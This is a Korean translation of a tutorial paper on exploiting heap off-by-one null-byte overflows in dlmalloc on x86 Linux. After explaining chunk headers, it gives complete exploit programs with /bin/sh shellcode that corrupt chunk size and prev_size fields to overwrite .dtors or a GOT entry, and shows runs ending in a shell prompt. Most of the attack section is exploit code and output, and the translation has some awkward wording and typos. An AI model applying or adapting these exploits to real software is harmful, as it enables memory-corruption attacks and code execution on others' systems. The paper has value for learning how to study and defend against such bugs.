# Heap off by one



Univ.Chosun HackerLogin : Seo Jung Hyun
Email : seobbung@naver.com

## 1. 거부 사항

이 보고서에 포함된 정보는 교육 목적으로만 제공합니다. 다음과 같은 조건이 충족 한다면 이 논문을 다시 자유롭게 게시 및 재배포 할 수 있습니다. 용지는 그대로, 저자를 표시해야 합니다. 당신은 무료로 이 논문에 기반 해서 자신의 논문을 재작성 할 수 있습니다. (추측 위의 조건이 충족되었을 때). 또한, 이 논문을 다시 게시하거나 이 논문에 기반한 내 생각이 기사로 쓰여 질 때 나에게 E-mail을 보낼 경우 나는 매우 감사 할 것입니다.

## 2. 소개

이 짧은 논문은 어떻게 동적 할당된 버퍼를 지나서 널 바이트를 써서 공격 할 수 있는지 설명합니다. 'off by one'은 버퍼가 스택에 할당 되었을 때 잘 알려진 감염 취약점에서 따온 것입니다. : 결국 대한 자세한 내용은 참고 문헌 [1] [2]를 참고 하라. 이러한 종류의 보안 취약점은 지금까지 알고 있는 힙에 할당된 버퍼와는 완전히 다른 것 문맥입니다. 이 논문에서 x86 리눅스를 참조했으나, 많은 것들이 여기 설명한 이외의 운영체제에도 적용 할 수도 있습니다.

## 3. malloc_chuck의 개요

먼저 우리는 malloc_chuck을 알아야 합니다. 적어도 malloc.c을 보는 것처럼 보아야 합니다.

```
struct malloc_chunk {
  INTERNAL_SIZE_T       prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T       size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;          /* double links -- used only if free. */
  struct malloc_chunk* bk;
};
```

prev_size와 size 필드는 chunk 헤더를 구성합니다. 반대로 fd, bk 필드는 chuck가 무료인 경우에만 사용됩니다. 이것을 사용할 때, 이건 어디 까지나 우리의 메모리 영역의 시작 부분입니다. malloc()은 그 지역 포인터를 반환합니다. 자세한 내용은 malloc()과 전형적인 힙 오버플로우 공격 [3] [4] [5]를 참고 해야 합니다.

## 4. 길이와 할당

malloc()을 호출 할 때, 정확한 개수를 할당 인수로 전달하지 않습니다. 다음 코드를 봅시다.

```
<alloc.c>
int
main(int argc, char **argv)
{
        char    *p0, *p1;
        int     *size_p, len;

        if(argc == 1)
                exit(1);

        len = atoi(argv[1]);
```

```
        p0 = (char *) malloc(len);
        p1 = (char *) malloc(8);
        printf("p0 -> %p₩n", p0);
        printf("p1 -> %p₩n", p1);

        size_p = (int *) p0 - 1;
        printf("allocated size for p0: %u (%p)₩n", *size_p, *size_p);
        size_p = (int *) p1 - 1;
        printf("allocated size for p1: %u (%p)₩n", *size_p, *size_p);

        free(p0);
        free(p1);
}
</alloc.c>
```

chuck 크기를 설정하는 방법을 봅시다.

```
bash-2.05a$ ./alloc 4
p0 -> 0x80497d8
p1 -> 0x80497e8
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
bash-2.05a$ ./alloc 8
p0 -> 0x80497d8
p1 -> 0x80497e8
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
bash-2.05a$ ./alloc 12
p0 -> 0x80497d8
p1 -> 0x80497e8
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
bash-2.05a$ ./alloc 13
p0 -> 0x80497d8
p1 -> 0x80497f0
allocated size for p0: 25 (0x19)
allocated size for p1: 17 (0x11)
```

0x11은 최소한 할당합니다. 0x11은 0x10이 아니라는 말 입니다. 0x11은 낮은 비트의 길이에 플래그가 있기 때문입니다 : 0 == free, 1 == in use. 특정 지점에서 더 큰 영역이 할당 되는 것을 볼 수 있습니다.

지금 이 시점에서 더 설명해 보겠습니다.

```
p0 -> 0x8049928
p1 -> 0x8049938
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)

(gdb) x/8 0x8049928 - 8
0x8049920:      0x00000000      0x00000011      0x41414141      0x00414141
0x8049930:      0x00000000      0x00000011      0x00000000      0x00000000
(gdb) x 0x8049928 + 12
0x8049934:      0x00000011
```

다음 chuck header가 그 크기를 포함하는 것을 명확하게 보여줍니다.
첫 번째 버퍼의 끝을 지나서 신중하게 계산된 크기가 0인 널 바이트를 넣을 수 있습니다.
길이는 계산이 방법 :
length = 12 + (n * 8);

12, 20, 28, 36 ...

취약한 프로그램을 봅시다. 종결시키는 문자열에 길이 할당이 포함되지 않았습니다. 어떻게 우리가 쓸 수 있을까? 예를 들어 strncat() : 항상 널 종료되는데 off by one 조차도 널 종료 됩니다.

<vuln.c>

```
#define MY_LEN          12

void
do_it(char *s)
{
        char    *p0, *p1;
        int     *size_p, len;

        len = strlen(s);
        printf("len: %u₩n", len);

        p0 = (char *) malloc(len);
        p1 = (char *) malloc(8);
        printf("p0 -> %p₩n", p0);
        printf("p1 -> %p₩n", p1);

        size_p = (int *) p0 - 1;
        printf("allocated size for p0: %u (%p)₩n", *size_p, *size_p);
        size_p = (int *) p1 - 1;
        printf("allocated size for p1: %u (%p)₩n", *size_p, *size_p);

        p0[0] = 0x00;
        strncat(p0, s, len);
```

```
        size_p = (int *) p0 - 1;
        printf("allocated size for p0: %u (%p)₩n", *size_p, *size_p);
        size_p = (int *) p1 - 1;
        printf("allocated size for p1: %u (%p)₩n", *size_p, *size_p);

        free(p0);
        free(p1);

        return;
}

int
main()
{
        char    s[256];

        memset(s, 0x41, MY_LEN);
        s[MY_LEN] = 0x00;

        do_it(s);

        exit(0);
}
</vuln.c>

bash-2.05a$ ./vuln
len: 12
p0 -> 0x8049900
p1 -> 0x8049910
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
allocated size for p0: 17 (0x11)
allocated size for p1: 0 ((nil))
Segmentation fault
```

프로그램의 흐름을 제어하는 방법을 찾아봅시다.

## 5. 공격

크기 필드의 크기는 0입니다. 즉, chunk를 사용하지 않습니다. free()가 chunk를 호출 할 때 이전 및 다음 chunk를 찾기 위해 서로 연결합니다. 우리는 그 주소를 제공합니다. 프로그램을 이용해 봅시다. LOCATION은 .dtor를 가리킵니다. 또한 __free_hook 주소 또는 당신이 원하는 곳을 가리킵니다.

.dtors를 찾는 법 : objdump -s -j .dtors <program>. 첫 번째 주소를 왼쪽으로 0x4만큼 늘립니다. 프로그램을 실행시키면 쉘코드 주소를 찾습니다. 쉘코드의 주소는 처음 버퍼 (p0) + 0x20 (I had p0 pointing to 0x8049b08).

```
<auto-xpl.c>
#define LOCATION      0x8049aa8
#define SC_ADDR                0x8049b28

        /* Linux x86 PIC basic shellcode (25 bytes) */
        char    shellcode[] =
        "₩x31₩xc0₩x31₩xd2₩x52₩x68₩x6e₩x2f₩x73₩x68₩x68₩x2f"
        "₩x2f₩x62₩x69₩x89₩xe3₩x52₩x53₩x89₩xe1₩xb0₩x0b₩xcd"
        "₩x80";

void
do_it(char *s0, char *s1)
{
        char     *p0, *p1;
        int      *size_p, len0, len1;

        len0 = strlen(s0);
        printf("len0: %u₩n", len0);
        len1 = strlen(s1);
        printf("len1: %u₩n", len1);

        p0 = (char *) malloc(len0);
        p1 = (char *) malloc(len1);
        printf("p0 -> %p₩n", p0);
        printf("p1 -> %p₩n", p1);

        size_p = (int *) p0 - 1;
        printf("allocated size for p0: %u (%p)₩n", *size_p, *size_p);
        size_p = (int *) p1 - 1;
        printf("allocated size for p1: %u (%p)₩n", *size_p, *size_p);

        p0[0] = 0x00;
        strncat(p0, s0, len0);
        memcpy(p1, s1, len1);
```

```
        size_p = (int *) p0 - 1;
        printf("allocated size for p0: %u (%p)₩n", *size_p, *size_p);
        size_p = (int *) p1 - 1;
        printf("allocated size for p1: %u (%p)₩n", *size_p, *size_p);

        free(p0);
        free(p1);

        return;
}

int
main()
{
        char    s0[1024], s1[1024];
        int     *i;

        i = (int *) s0;
        *i++ = 0x41414141;
        *i++ = 0x41414141;
        *i++ = 0xadadadad;
        *i++ = 0x00;

        memset(s1, 0x00, sizeof(s1));

        i = (int *) s1;
        *i++ = LOCATION - 12;
        *i++ = SC_ADDR - 8;
        memset(s1 + strlen(s1), 0x90, 4);
        memcpy(s1 + strlen(s1), "₩xeb₩x0e₩x90₩x90", 4);
        memset(s1 + strlen(s1), 0x90, 24);
        memcpy(s1 + strlen(s1), shellcode, strlen(shellcode) + 1);

        do_it(s0, s1);

        exit(0);
}
</auto-xpl.c>

bash-2.05a$ ./auto-xpl
len0: 12
len1: 65
p0 -> 0x8049b08
p1 -> 0x8049b18
allocated size for p0: 17 (0x11)
```

```
allocated size for p1: 73 (0x49)
allocated size for p0: 17 (0x11)
allocated size for p1: 0 ((nil))
sh-2.05a$
```

위 그림이 포함된 솔루션은 큰 단점이 있습니다 : 우리는 사이즈가 0으로 되어있는 버퍼의 처음 8바이트 컨트롤이 필요합니다. 이것은 실제 생활에 있을 거 같지 않습니다. 우리는 다른 아이디어가 필요합니다. 그렇게 때문에 우리는 prev_size 필드를 컨트롤해서 긍정적인 값(i.e.: 0x00000010)으로 설정해야 합니다. free()를 찾아보면 첫 번째 버퍼 안에 이전 chunk를 만드는데 그곳에 우리의 특별한 malloc 구조에 넣을 수도 있습니다. 특정 관점에서 좋은 해결책이 필요하기 때문에 우리의 입력이 오직 한 개의 버퍼만 접근하도록 해야 합니다. 또 다른 관점에서는 그렇지 않습니다. 왜냐하면 그 값은 확실히 널 바이트기 때문입니다. 그리고 대부분의 경우 우리는 거기에 쓸 수 없습니다 (예 : strcpy ()). 남은 해결책은 prev_size 필드를 마이너스 값으로 설정하는 것입니다 (예 : 0xfffffff0) :

free()는 우리가 컨트롤한 버퍼의 끝을 지난 어딘가에서 아마 이전 chunk를 찾을 것입니다.
이 방법은 우리가 임의의 위치에 임의의 값을 쓴 것을 허락합니다. : 우리는 malloc 구조 안에 있는 마이너스 값을 가리키는 prev_size 속여야 합니다. 그럼에도 불구하고, 세그멘테이션 오류가 생기게 됩니다. 이것을 일반적으로 실제 프로그램과 네트워크 데몬에서 문제가 없습니다. 왜냐하면 그들은 신호 처리기를 갖고 있기 때문입니다 : 만약 우리는 GOT 들어가는 함수 호출 중 하나인 SIGSEGV handler (i.e.: syslog()) 패치 한다면 우리는 여전히 프로그램의 흐름을 제어 할 수 있습니다. 프로그램에 이어서 자기 자신을 공격한다. LOCATION은 printf()의 GOT 입구를 가리킵니다.
찾아보자 :

```
(gdb) x/i printf
0x8048484 <printf>:     jmp     *0x8049be4
```

쉘코드 주소를 찾으려면 프로그램을 시작해야 합니다. 쉘코드는 첫 번째 버퍼의 주소에 있습니다 (p0) + 0x38 (p0는 0x8049c20를 가르킨다).

```
<auto-xpl-negsiz.c>
#include <signal.h>

#define LOCATION        0x8049be4
#define SC_ADDR                 0x8049c58

        /* Linux x86 PIC basic shellcode (25 bytes) */
        char    shellcode[] =
        "₩x31₩xc0₩x31₩xd2₩x52₩x68₩x6e₩x2f₩x73₩x68₩x68₩x2f"
        "₩x2f₩x62₩x69₩x89₩xe3₩x52₩x53₩x89₩xe1₩xb0₩x0b₩xcd"
        "₩x80";

void
sigsegvhandler()
{
        printf("Caught SIGSEGV.₩n");
```

```
        exit(1);
}

void
do_it(char *s0, char *s1)
{
        char     *p0, *p1;
        int      *size_p, len0, len1;

        len0 = strlen(s0);
        printf("len0: %u₩n", len0);
        len1 = strlen(s1);
        printf("len1: %u₩n", len1);

        p0 = (char *) malloc(len0);
        p1 = (char *) malloc(len1);
        printf("p0 -> %p₩n", p0);
        printf("p1 -> %p₩n", p1);

        size_p = (int *) p0 - 1;
        printf("allocated size for p0: %u (%p)₩n", *size_p, *size_p);
        size_p = (int *) p1 - 1;
        printf("allocated size for p1: %u (%p)₩n", *size_p, *size_p);

        p0[0] = 0x00;
        strncat(p0, s0, len0);
        memcpy(p1, s1, len1);

        size_p = (int *) p0 - 1;
        printf("allocated size for p0: %u (%p)₩n", *size_p, *size_p);
        size_p = (int *) p1 - 1;
        printf("allocated size for p1: %u (%p)₩n", *size_p, *size_p);

        free(p1);

        return;
}

int
main()
{
        char     s0[1024], s1[1024], zbuf[1024];
        int      *i;
```

```
        signal(SIGSEGV, sigsegvhandler);

        i = (int *) s0;
        *i++ = 0x41414141;
        *i++ = 0x41414141;
        *i++ = 0xfffffffe0;
        *i++ = 0x00;

        memset(zbuf, 0x00, sizeof(zbuf));
        memset(zbuf, 0x41, 9);
        i = (int *) &zbuf[strlen(zbuf)];
        *i++ = 0xfffffffe;
        *i++ = 0xffffffff;
        *i++ = LOCATION - 12;
        *i++ = SC_ADDR;

        memset(zbuf + strlen(zbuf), 0x90, 4);
        memcpy(zbuf + strlen(zbuf), "₩xeb₩x08₩x90₩x90", 4);
        memset(zbuf + strlen(zbuf), 0x90, 24);
        memcpy(zbuf + strlen(zbuf), shellcode, strlen(shellcode) + 1);

        snprintf(s1, sizeof(s1), "Your input is: %s₩n", zbuf);

        do_it(s0, s1);

        exit(0);
}
</auto-xpl-negsiz.c>

bash-2.05a$ ./auto-xpl-negsiz
len0: 12
len1: 98
p0 -> 0x8049c20
p1 -> 0x8049c30
allocated size for p0: 17 (0x11)
allocated size for p1: 105 (0x69)
allocated size for p0: 17 (0x11)
allocated size for p1: 0 ((nil))
sh-2.05a$
```

## 6. 결론

이 기법은 일반적인 개념의 힙 오버플로우 공격에 비해 매우 다른 방법입니다. 이 취약점은 실제 생활 코드에 일반적으로 없습니다. 하지만 당신에 의해 잘못 만들어진 유틸리티의 문자열 관리 또는 문자열 길이를 할당하는 계산 함수는 직관적으로 이 예제에 해당합니다. 어쨌든 이것은 이 논문의 범위에 벗어납니다.

## 7. 저자의 한마디

미숙한 영어 실력에 죄송합니다. :₩

## 8. 참고 문헌

[1] klog. The Frame Pointer Overwrite
http://www.phrack.com/search.phtml?view&article=p55-8

[2] qitest1. middleman-1.2 and prior off-by-one bug
http://bespin.org/~qitest1/adv/middleman-1.2.txt.asc

[3] Doug Lea malloc.c (aka dlmalloc)
ftp://gee.cs.oswego.edu/pub/misc/malloc.c

[4] maxx. Vudo malloc tricks
http://www.phrack.com/search.phtml?view&article=p57-8

[5] anonymous. Once upon a free()
http://www.phrack.com/search.phtml?view&article=p57-9

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+ 8M+ VIrsshIyVmPkRAmCVAJ9TIccur1MLmPF5WExVwpPIx6CWCwCdGvdN
bPI0xkMbrktc3pow1h1ox78=
=RrN3
-----END PGP SIGNATURE-----